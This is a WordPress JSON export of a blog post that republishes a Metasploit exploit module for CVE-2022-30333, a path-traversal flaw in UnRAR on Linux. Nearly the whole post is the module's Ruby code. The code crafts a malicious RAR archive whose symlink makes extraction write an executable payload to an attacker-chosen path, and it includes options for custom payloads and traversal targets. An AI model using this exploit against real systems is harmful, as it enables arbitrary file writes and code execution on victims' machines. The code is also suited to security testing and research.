{"id":59722,"date":"2024-09-13T20:59:55","date_gmt":"2024-09-13T17:59:55","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181497\/unrar_cve_2022_30333.rb.txt"},"modified":"2024-09-13T20:59:55","modified_gmt":"2024-09-13T17:59:55","slug":"unrar-path-traversal","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/unrar-path-traversal\/","title":{"rendered":"UnRAR Path Traversal"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Exploit::Remote<br \/>Rank = ExcellentRanking<\/p>\n<p>include Msf::Exploit::FILEFORMAT<br \/>include Msf::Exploit::EXE<br \/>include Msf::Exploit::Format::RarSymlinkPathTraversal<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;UnRAR Path Traversal (CVE-2022-30333)&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module creates a RAR file that exploits CVE-2022-30333, which is a<br \/>path-traversal vulnerability in unRAR that can extract an arbitrary file<br \/>to an arbitrary location on a Linux system. UnRAR fixed this<br \/>vulnerability in version 6.12 (open source version 6.1.7).<\/p>\n<p>The core issue is that when a symbolic link is unRAR&#8217;ed, Windows<br \/>symbolic links are not properly validated on Linux systems and can<br \/>therefore write a symbolic link that points anywhere on the filesystem.<br \/>If a second file in the archive has the same name, it will be written<br \/>to the symbolic link path.<br \/>},<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;Simon Scannell&#8217;, # Discovery \/ initial disclosure (via Sonar)<br \/>&#8216;Ron Bowes&#8217;, # Analysis, PoC, and module<br \/>],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;References&#8217; =&gt; [<br \/>[&#8216;CVE&#8217;, &#8216;2022-30333&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/blog.sonarsource.com\/zimbra-pre-auth-rce-via-unrar-0day\/&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/github.com\/pmachapman\/unrar\/commit\/22b52431a0581ab5d687747b65662f825ec03946&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/attackerkb.com\/topics\/RCa4EIZdbZ\/cve-2022-30333\/rapid7-analysis&#8217;],<br \/>],<br \/>&#8216;Platform&#8217; =&gt; &#8216;linux&#8217;,<br \/>&#8216;Arch&#8217; =&gt; [ARCH_X86, ARCH_X64],<br \/>&#8216;Targets&#8217; =&gt; [<br \/>[ &#8216;Generic RAR file&#8217;, {} ]],<br \/>&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>&#8216;Privileged&#8217; =&gt; false,<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2022-06-28&#8217;,<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>&#8216;Reliability&#8217; =&gt; [],<br \/>&#8216;SideEffects&#8217; =&gt; []}<br \/>)<br \/>)<\/p>\n<p>register_options(<br \/>[<br \/>OptString.new(&#8216;FILENAME&#8217;, [ false, &#8216;The file name.&#8217;, &#8216;payload.rar&#8217;]),<br \/>OptString.new(&#8216;CUSTOM_PAYLOAD&#8217;, [ false, &#8216;A custom payload to encode&#8217; ]),<br \/>OptString.new(&#8216;TARGET_PATH&#8217;, [ true, &#8216;The location the payload should extract to (can, and should, contain path traversal characters &#8211; &#8220;..\/..\/&#8221; &#8211; as well as a filename).&#8217;]),<br \/>OptString.new(&#8216;SYMLINK_FILENAME&#8217;, [ true, &#8216;The name of the symlink file to use (must be 12 characters or less; default: random)&#8217;, Rex::Text.rand_text_alpha_lower(4..12)])<br \/>])<br \/>end<\/p>\n<p>def exploit<br \/>print_status(&#8220;Target filename: #{datastore[&#8216;TARGET_PATH&#8217;]}&#8221;)<\/p>\n<p>if datastore[&#8216;CUSTOM_PAYLOAD&#8217;].present?<br \/>print_status(&#8220;Encoding custom payload file: #{datastore[&#8216;CUSTOM_PAYLOAD&#8217;]}&#8221;)<br \/>payload_data = File.binread(datastore[&#8216;CUSTOM_PAYLOAD&#8217;])<\/p>\n<p># Append a newline + NUL byte, since random data will be appended and we<br \/># don&#8217;t want to break shellscripts<br \/>payload_data.concat(&#8220;\\n\\0&#8221;)<br \/>else<br \/>print_status(&#8216;Encoding configured payload&#8217;)<br \/>payload_data = generate_payload_exe<br \/>end<\/p>\n<p>begin<br \/>rar = encode_as_traversal_rar(datastore[&#8216;SYMLINK_FILENAME&#8217;], datastore[&#8216;TARGET_PATH&#8217;], payload_data)<br \/>rescue StandardError =&gt; e<br \/>fail_with(Failure::BadConfig, &#8220;Failed to encode RAR file: #{e}&#8221;)<br \/>end<\/p>\n<p>file_create(rar)<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Exploit::RemoteRank = ExcellentRanking include Msf::Exploit::FILEFORMATinclude Msf::Exploit::EXEinclude Msf::Exploit::Format::RarSymlinkPathTraversal def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;UnRAR Path Traversal (CVE-2022-30333)&#8217;,&#8216;Description&#8217; =&gt; %q{This module creates a RAR file that exploits CVE-2022-30333, which is apath-traversal vulnerability in unRAR that can extract an arbitrary fileto an arbitrary location on a &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59722","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59722","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59722"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59722\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59722"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59722"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59722"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}